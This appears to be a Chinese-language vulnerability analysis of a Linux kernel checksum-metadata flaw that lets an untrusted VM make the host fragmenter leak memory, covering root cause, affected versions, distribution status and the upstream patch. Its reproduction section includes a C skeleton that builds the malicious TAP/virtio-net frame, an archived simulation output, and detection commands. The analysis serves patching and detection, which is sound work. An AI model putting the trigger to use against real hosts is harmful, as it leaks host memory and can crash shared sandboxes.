<table><thead><tr><th style="background: rgb(39, 39, 42);color: rgb(255, 255, 255);font-weight: 700;padding: 8px 12px;text-align: left;"><section><span leaf="">分支</span></section></th><th style="background: rgb(39, 39, 42);color: rgb(255, 255, 255);font-weight: 700;padding: 8px 12px;text-align: left;"><section><span leaf="">首个修复版本</span></section></th></tr></thead><tbody><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">5.10</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">5.10.272</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">5.15</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">5.15.223</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">6.1</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">6.1.190</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">6.6</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">6.6.159</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">6.12</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">6.12.113</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">6.18</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">6.18.57</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">7.2</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">7.2.11</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">7.3</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">7.3-rc7</span></section></td></tr></tbody></table>
逐 tag 实测核验结果与 CVE 记录中的修复版本清单完全一致：上述每个 tag 之前的最后一个版本中，
include/net/ip.h
 均不含 
ip_check_csum_start
 函数。
<table><thead><tr><th style="background: rgb(39, 39, 42);color: rgb(255, 255, 255);font-weight: 700;padding: 8px 12px;text-align: left;"><section><span leaf="">口径</span></section></th><th style="background: rgb(39, 39, 42);color: rgb(255, 255, 255);font-weight: 700;padding: 8px 12px;text-align: left;"><section><span leaf="">数值</span></section></th></tr></thead><tbody><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">9 个</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">上游修复节点，覆盖 8 个稳定分支与 1 个候选版本</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">20 年</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">缺陷存续时间跨度，可追溯至 Linux 2.6.27</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">4 类</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">处于暴露面的部署形态</span></section></td></tr></tbody></table>
3.2 哪些部署形态处于暴露面
漏洞不在 hypervisor 内部，而在
宿主机的网络栈里
。这意味着凡是允许不可信方控制出站帧校验和元数据的部署形态都可能被触及。
<table><thead><tr><th style="background: rgb(39, 39, 42);color: rgb(255, 255, 255);font-weight: 700;padding: 8px 12px;text-align: left;"><section><span leaf="">暴露面</span></section></th><th style="background: rgb(39, 39, 42);color: rgb(255, 255, 255);font-weight: 700;padding: 8px 12px;text-align: left;"><section><span leaf="">典型场景</span></section></th><th style="background: rgb(39, 39, 42);color: rgb(255, 255, 255);font-weight: 700;padding: 8px 12px;text-align: left;"><section><span leaf="">备注</span></section></th></tr></thead><tbody><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">不可信 VM → TAP / vhost-net</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">自建 KVM、Firecracker 集群、云沙箱</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">主路径，CVE 描述场景</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">非特权用户创建 </span><span style="background: rgb(244, 244, 245);color: rgb(39, 39, 42);padding: 2px 6px;border-radius: 4px;font-family: &#34;SF Mono&#34;, Consolas, Monaco, monospace;font-size: 15px;"><span leaf="">IFF_VNET_HDR</span></span><span leaf=""> tun 设备</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">允许非特权 user namespace 的发行版</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">需 rootless 容器、Flatpak 等场景</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><span style="background: rgb(244, 244, 245);color: rgb(39, 39, 42);padding: 2px 6px;border-radius: 4px;font-family: &#34;SF Mono&#34;, Consolas, Monaco, monospace;font-size: 15px;"><span leaf="">AF_PACKET</span></span><section><span leaf=""> + </span><span style="background: rgb(244, 244, 245);color: rgb(39, 39, 42);padding: 2px 6px;border-radius: 4px;font-family: &#34;SF Mono&#34;, Consolas, Monaco, monospace;font-size: 15px;"><span leaf="">PACKET_VNET_HDR</span></span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">本地特权进程</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">需 </span><span style="background: rgb(244, 244, 245);color: rgb(39, 39, 42);padding: 2px 6px;border-radius: 4px;font-family: &#34;SF Mono&#34;, Consolas, Monaco, monospace;font-size: 15px;"><span leaf="">CAP_NET_RAW</span></span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">macvtap / ipvtap 设备属主</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">同宿主机的其他租户</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">需设备属主身份</span></section></td></tr></tbody></table>
3.3 发行版修复进度
上游已修并不等于各发行版已完成补丁分发
，这是当前处置中最容易被误读的一环。
<table><thead><tr><th style="background: rgb(39, 39, 42);color: rgb(255, 255, 255);font-weight: 700;padding: 8px 12px;text-align: left;"><section><span leaf="">发行版</span></section></th><th style="background: rgb(39, 39, 42);color: rgb(255, 255, 255);font-weight: 700;padding: 8px 12px;text-align: left;"><section><span leaf="">版本</span></section></th><th style="background: rgb(39, 39, 42);color: rgb(255, 255, 255);font-weight: 700;padding: 8px 12px;text-align: left;"><section><span leaf="">状态</span></section></th></tr></thead><tbody><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">Debian bookworm</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">6.1.176-1</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">受影响</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">Debian bookworm (security)</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">6.1.190-1</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">已修复（DLA-4841-1）</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">Debian trixie</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">6.12.107-1</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">受影响</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">Debian trixie (security)</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">6.12.113-1</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">已修复（DSA-6568-1）</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">Debian forky / sid</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">7.2.11-1</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">已修复</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">Ubuntu 多数 LTS</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">—</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">截至 10-15 数据为待评估，优先级 Medium</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">CloudLinux</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">—</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">10-16 发布缓解公告，称尚无修复内核</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">Red Hat</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">各产品流全部标记受影响</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">修复由产品团队按委派机制推进中</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">Amazon LinuxLine truncated
Red Hat 在公告中说明，其产品安全团队将该缺陷作为 KEV 主动利用案例跟踪。
04
PRECONDITIONS
### 利用条件
4.1 攻击者需要的前置条件
按 CVE 记录中的场景描述，触发所需条件可以拆解为五个维度。
1
**攻击路径为本地虚拟设备**
：恶意的 microVM 在其出站帧中提供构造好的 virtio-net 校验和元数据，VMM 将其写入宿主机的 TAP，随后 
tun_get_user()
 把 skb 交给 IPv4 栈。该路径属于 guest 侧的本地虚拟设备通道，而不是互联网接收路径。
2
**复杂度低且可重复**
：guest 完全控制帧内容、校验和起点与偏移以及包长度，可重复同一分片序列，不需要竞态、时间窗口或不可控的内存布局。
3
**不需要权限**
：在 microVM 场景下，能通过自己那块 virtio-net 接口发包的租户工作负载即可提供触发流量，不需要宿主凭据、能力位或对 
/dev/net/tun
 的访问，特权 VMM 只是把 guest 输出转发到它已有的 TAP fd。
4
**不需要用户交互**
：攻击者直接发出构造好的 guest 包，宿主机的 TAP 与 IPv4 处理会自动调用校验和完成逻辑。
5
**跨越了安全边界**
：校验和元数据来自不可信 microVM，而 
skb_checksum_help()
 与 
ip_do_fragment()
 在宿主内核中处理并破坏状态，演示出的泄露、崩溃与管理员代码执行均跨越了 guest 到宿主的隔离边界。
4.2 评分为何存在分歧
两套官方评分并列存在，尚未出现统一判定。Linux CNA 给出 9.3，权限维度取 
PR:N
，理由是租户工作负载无需任何宿主凭据；Red Hat 给出 8.8，权限维度取 
PR:L
，差异来自对
利用是否需要 guest 内代码执行
这一前提的取舍。两者对机密性、完整性、可用性三项均为高影响，对攻击范围与复杂度、用户交互的判定一致。
两个分数都指向同一个事实：这不是一条需要复杂前置条件的攻击链。
在利用状态上同样存在分歧，且未见统一判定：Red Hat 公告称按 KEV 主动利用案例跟踪，而 CVE 记录中 CISA 于 10 月 16 日补充的 SSVC 评估将 Exploitation 字段记为 none。本文不就此下结论。
4.3 公开了什么，未公开什么
研究者报告的升级路径分四步，其中第 1 步已可在生产环境确认，第 2 步以下的具体构造未公开。
1
可重复的宿主机内存泄露，已在 Vercel 生产沙箱验证
2
借助堆布局观测与受控分配，实现受控 64 字节宿主机内核写
3
在自有 KVM 实验环境以宿主 root 执行 helper，并把 marker 回传 guest
4
四次真冷启动均复现成功
研究者已明确说明，从原语走到宿主控制的过程将留待第二部分文章，当前公开内容不包含这部分构造细节。
「Vercel 明确说明，崩溃与代码执行仅在研究者自建的、按 Vercel Sandbox 配置搭建的 KVM / Firecracker 上演示，生产环境只确认了内存泄露。」
此外，两个特制数据包即可打崩宿主机、连带同机所有沙箱。
05
ROOT CAUSE
### 技术根因
5.1 校验和元数据是一张写入授权书
CHECKSUM_PARTIAL
 状态下的三个字段描述的是
稍后写入
的位置，而非包的固有属性。
.
.
.
c
skb->ip_summed = CHECKSUM_PARTIAL; /* 校验和尚未完成 */
skb->csum_start = /* 累加起点 */;
skb->csum_offset = /* 输出字段相对偏移 */;
/* 最终写入位置 */
write_addr = csum_start + csum_offset;
skb_checksum_help()
 在 
skb_ensure_writable()
 之后把 16 bit 结果写入 
skb->data + offset
，其中 
offset = skb_checksum_start_offset(skb) + skb->csum_offset
。这批元数据不是描述性信息，而是一张
写入授权书
，其有效性必须在接纳与完成之间的每一步操作后依然成立。
而入口处唯一的边界检查只保证写入点不越出当前线性数据范围：
.
.
.
c
u32 csum_end = (u32)start + (u32)off + sizeof(__sum16);
u32 csum_start = skb_headroom(skb) + (u32)start;
if (unlikely(csum_start >= U16_MAX || csum_end > skb_headlen(skb))) {
　　　　　　　　net_warn_ratelimited("bad partial csum: ...");
　　　　　　　　return false;
}
它完全不知道 L3 语义，
不检查 `csum_start` 是否已经越过 IPv4 头
。
5.2 顺序缺陷：先写入，后读取头长度
修复前 
net/ipv4/ip_output.c
 的实际执行顺序如下：
.
.
.
c
/* ip_do_fragment() —— 修复前 */
if (skb->ip_summed == CHECKSUM_PARTIAL &&
　　　　(err = skb_checksum_help(skb))) /* ← 延迟写入发生在此 */
　　　　　　　　goto fail;
iph = ip_hdr(skb); /* ← 之后才取得头指针 */
...
hlen = iph->ihl * 4; /* ← 读到可能已被改写的 ihl */
ip_frag_init(skb, hlen, ll_rs, mtu, ...);
skb2 = ip_frag_next(skb, &state);
/* ip_frag_next() 中： */
skb_copy_from_linear_data(skb, skb_network_header(skb2), state->hlen);
这是语义层面的检查与使用间隔，而非线程竞争。执行过程完全确定，中间隔着的正是这段正常的网络处理流程。研究者对这一点的概括是，Linux 的不同部分被允许信任同一个包的不同版本。
值得注意的是，在更早的坐标层面还存在一处错位。历史版本中 
__virtio_net_hdr_to_skb()
 的最小头检查使用 
skb_transport_offset(skb) < nh_min_len
，这是相对 
skb->data
 的视图；而在 TAP 场景中，
eth_type_trans()
 之前 
skb->data
 仍含 14 字节以太头，因此 
`transport_offset >= nh_min_len` 与 `transport_offset - network_offset >= nh_min_len` 两个不等式并不等价
。
5.3 ihl 5 → 15 与 32 字节越界读
IPv4 首字节为 
version(4bit) | ihl(4bit)
，正常取值 
0x45
（IHL=5，20 字节）。若延迟写入的两个字节正好覆盖 version/ihl 与 tos，即可变为 
0x4f
（IHL=15，60 字节），而 version 仍为 4，
包在外观上依然是合法 IPv4
。
<table><thead><tr><th style="background: rgb(39, 39, 42);color: rgb(255, 255, 255);font-weight: 700;padding: 8px 12px;text-align: left;"><section><span leaf="">视图</span></section></th><th style="background: rgb(39, 39, 42);color: rgb(255, 255, 255);font-weight: 700;padding: 8px 12px;text-align: left;"><section><span leaf="">首字节</span></section></th><th style="background: rgb(39, 39, 42);color: rgb(255, 255, 255);font-weight: 700;padding: 8px 12px;text-align: left;"><section><span leaf="">IHL</span></section></th><th style="background: rgb(39, 39, 42);color: rgb(255, 255, 255);font-weight: 700;padding: 8px 12px;text-align: left;"><section><span leaf="">解释出的头长</span></section></th></tr></thead><tbody><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">解析时</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><span style="background: rgb(244, 244, 245);color: rgb(39, 39, 42);padding: 2px 6px;border-radius: 4px;font-family: &#34;SF Mono&#34;, Consolas, Monaco, monospace;font-size: 15px;"><span leaf="">0x45</span></span></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">5</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">20 字节</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">延迟写入后</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><span style="background: rgb(244, 244, 245);color: rgb(39, 39, 42);padding: 2px 6px;border-radius: 4px;font-family: &#34;SF Mono&#34;, Consolas, Monaco, monospace;font-size: 15px;"><span leaf="">0x4f</span></span></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">15</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">60 字节</span></section></td></tr></tbody></table>
研究案例重组后该 skb 的逻辑线性长度为 28 字节，被污染的 
ihl
 让分片器按 60 字节复制头与 options：
.
.
.
text
　　　　20 字节 原始 IPv4 头
　　　　　8 字节 首片中可用的载荷
　　　　--------
　　　　28 字节 skb_headlen() / skb->len
其中 8 字节本就是载荷，属于合法内容，其余 32 字节位于逻辑包之外，属宿主机分配体内存。越界长度为 
hlen - skb_headlen = 60 - 28 = 32
 字节，
每一次分片都会把这 32 字节当作 IP options 一并发出
。
措辞边界
这是 sk_buff 逻辑数据的越界读，不一定越过 slab 对象边界，物理上这些字节可能位于已映射的 tailroom 中；但从「发送方提供的逻辑包」这一视角看，它们不属于包，机密性边界正是这样被跨越的。
06
REPRODUCTION
### 复现与验证
6.1 内核语义级复现
原作者未公开 PoC，从内存泄露走向宿主 root 的堆利用细节同样缺失。本地归档提供的复现脚本为
内核语义级复现
，用 Python 精确复刻 
skb_checksum_help()
 与 
ip_do_fragment()
 / 
ip_frag_next()
 的关键行，用于证明漏洞链路在逻辑上成立。
.
.
.
bash
python3 poc/pwnescape_poc.py
脚本不需要 root、不接触内核、不联网，包含三条用例：
<table><thead><tr><th style="background: rgb(39, 39, 42);color: rgb(255, 255, 255);font-weight: 700;padding: 8px 12px;text-align: left;"><section><span leaf="">用例</span></section></th><th style="background: rgb(39, 39, 42);color: rgb(255, 255, 255);font-weight: 700;padding: 8px 12px;text-align: left;"><section><span leaf="">内容</span></section></th><th style="background: rgb(39, 39, 42);color: rgb(255, 255, 255);font-weight: 700;padding: 8px 12px;text-align: left;"><section><span leaf="">期望结果</span></section></th></tr></thead><tbody><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">CASE A</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><span style="background: rgb(244, 244, 245);color: rgb(39, 39, 42);padding: 2px 6px;border-radius: 4px;font-family: &#34;SF Mono&#34;, Consolas, Monaco, monospace;font-size: 15px;"><span leaf="">csum_start</span></span><section><span leaf=""> 指向 IPv4 头内部（恶意）</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><span style="background: rgb(244, 244, 245);color: rgb(39, 39, 42);padding: 2px 6px;border-radius: 4px;font-family: &#34;SF Mono&#34;, Consolas, Monaco, monospace;font-size: 15px;"><span leaf="">ihl</span></span><section><span leaf=""> 5→15，分片越界读 32 字节宿主内存</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">CASE B</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">同一份包打在补丁后内核</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">在写入前被 </span><span style="background: rgb(244, 244, 245);color: rgb(39, 39, 42);padding: 2px 6px;border-radius: 4px;font-family: &#34;SF Mono&#34;, Consolas, Monaco, monospace;font-size: 15px;"><span leaf="">ip_check_csum_start()</span></span><span leaf=""> 丢弃，</span><span style="background: rgb(244, 244, 245);color: rgb(39, 39, 42);padding: 2px 6px;border-radius: 4px;font-family: &#34;SF Mono&#34;, Consolas, Monaco, monospace;font-size: 15px;"><span leaf="">ip[0]</span></span><span leaf=""> 保持 </span><span style="background: rgb(244, 244, 245);color: rgb(39, 39, 42);padding: 2px 6px;border-radius: 4px;font-family: &#34;SF Mono&#34;, Consolas, Monaco, monospace;font-size: 15px;"><span leaf="">0x45</span></span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">CASE C</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><span style="background: rgb(244, 244, 245);color: rgb(39, 39, 42);padding: 2px 6px;border-radius: 4px;font-family: &#34;SF Mono&#34;, Consolas, Monaco, monospace;font-size: 15px;"><span leaf="">csum_start</span></span><section><span leaf=""> 指向 UDP 头（合法对照）</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">IPv4 头不变，无越界</span></section></td></tr></tbody></table>
实际运行输出已归档，核心片段如下：
.
.
.
output
　[CASE A] 恶意元数据: csum_start 指向 IPv4 头内部
　　attacker filler : 83a4
　　skb_checksum_help 写入值 : 0x4f00 -> ip[0]=0x4f (ihl=79, tos=0x00)
　　before : ip[0]=0x45 ihl= 5 hlen=20 skb->len=28
　　after : ip[0]=0x4f ihl=15 hlen=60 skb->len=28
　　ip_do_fragment 复制了 60 字节头部
　　其中 32 字节在逻辑包之外: b'/etc/hostname=db-master-42\x00admin'
　　命中宿主机内存标记: True
　[CASE B] 同一份数据包, 打在补丁后的内核上
　　DROP: ip_check_csum_start() -> -EINVAL (包在写入前被丢弃)
　　ip[0] 保持 0x45 (ihl=5), 没有任何写入发生
　[CASE C] 对照组: 合法元数据 (csum_start 指向 UDP 头)
　　before : ip[0]=0x45 ihl=5 skb->len=28
　　after : ip[0]=0x45 ihl=5 复制 20 字节头部
　　UDP 校验和字段 : f653
　　IPv4 头未被改动, 无越界 —— 这就是合法流量该有的样子
其中 CASE A 的 
ihl=79
 是脚本打印 
expected >> 8
 的调试字段，实际写入值为 
0x4f00
，
ip[0]=0x4f
 对应 
ihl=15
，紧邻的 
after
 行已确认这一结果。
6.2 真实设备触发实验
未实测声明
本地归档环境为 Linux 6.8.0-147-generic x86_64，
/dev/net/tun
 不存在，且在 user namespace 中创建该设备节点被拒绝（无 
CAP_MKNOD
），因此真实 TUN 设备触发实验未在本机进行。下列步骤与代码骨架为可复用的实验方案，非实测结果，需在自有隔离设备上执行。
guest 侧构造帧：
.
.
.
c
int fd = open("/dev/net/tun", O_RDWR);
struct ifreq ifr = {0};
strcpy(ifr.ifr_name, "tap0");
ifr.ifr_flags = IFF_TAP | IFF_NO_PI | IFF_VNET_HDR;
ioctl(fd, TUNSETIFF, &ifr);
int hdr_sz = sizeof(struct virtio_net_hdr_v1);
ioctl(fd, TUNSETVNETHDRSZ, &hdr_sz);
ioctl(fd, TUNSETOFFLOAD, (void *)(long)TUN_F_CSUM);
struct virtio_net_hdr_v1 h = {0};
h.flags = VIRTIO_NET_HDR_F_NEEDS_CSUM;
h.gso_type = VIRTIO_NET_HDR_GSO_NONE;
h.csum_start = ETH_HLEN + 0; /* 指向 IPv4 头起点 —— 关键 */
h.csum_offset = 0; /* 写回 ip[0..1] */
write(fd, &h, sizeof(h));
write(fd, frame, frame_len);
宿主侧观察：
.
.
.
bash
# 出现 IHL=15 的出站分片即为命中迹象
tcpdump -i <tap> -nn -vv -X 'ip[0] & 0x0f == 15'
# 畸元数据会触发以下告警
dmesg | grep -E 'skb_headlen|bad partial csum'
补丁是否生效的判定标准是：同一份包在修复后内核应直接被丢弃，无 WARN，抓不到 IHL=15 的出站包，
ip[0]
 保持 
0x45
。
取证要点在于设置对照用例：合法元数据作为 identity 用例，恶意元数据作为 active 用例，确认越界区域字节稳定复现且不等于发送方填充的哨兵值，这是区分「有趣的 hex dump」与「真实泄露」的关键。
6.3 修复状态的核验方法
由于 
ip_check_csum_start()
 是 
static inline
，
/proc/kallsyms
 中并不存在该符号，
不能用符号存在性判断修复状态
。可直接取各 stable tag 的源码检查：
.
.
.
bash
for t in v5.10.271 v5.10.272 v6.1.189 v6.1.190; do
　　curl -sSL "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/plain/include/net/ip.h?h=$t" \
　　　　| grep -c ip_check_csum_start
done
07
REMEDIATION
### 修复与处置
7.1 上游补丁做了什么
补丁新增了一条不变量，并在每个消费点前插入窄检查，而非改动中央 helper：
.
.
.
c
/* include/net/ip.h */
static inline int ip_check_csum_start(const struct sk_buff *skb)
{
　　　　　　　　if (unlikely(skb->csum_start < skb->network_header + ip_hdrlen(skb)))
　　　　　　　　　　　　　　　　return -EINVAL;
　　　　　　　　return 0;
}
记 
N
 为 network_header、
H
 为头长、
C
 为 csum_start、
O
 为不小于 0 的 csum_offset，写入位置 
W = C + O
，条件 
C >= N + H
 蕴含 
W >= N + H
，因此该检查阻止了
校验和完成动作写入 IPv4 头
。但它并不保证 
W
 是 TCP/UDP 中正确的校验和字段，那是另一个协议合法性问题。
补丁共改动 6 个文件、44 行新增、12 行删除，覆盖五处消费点：
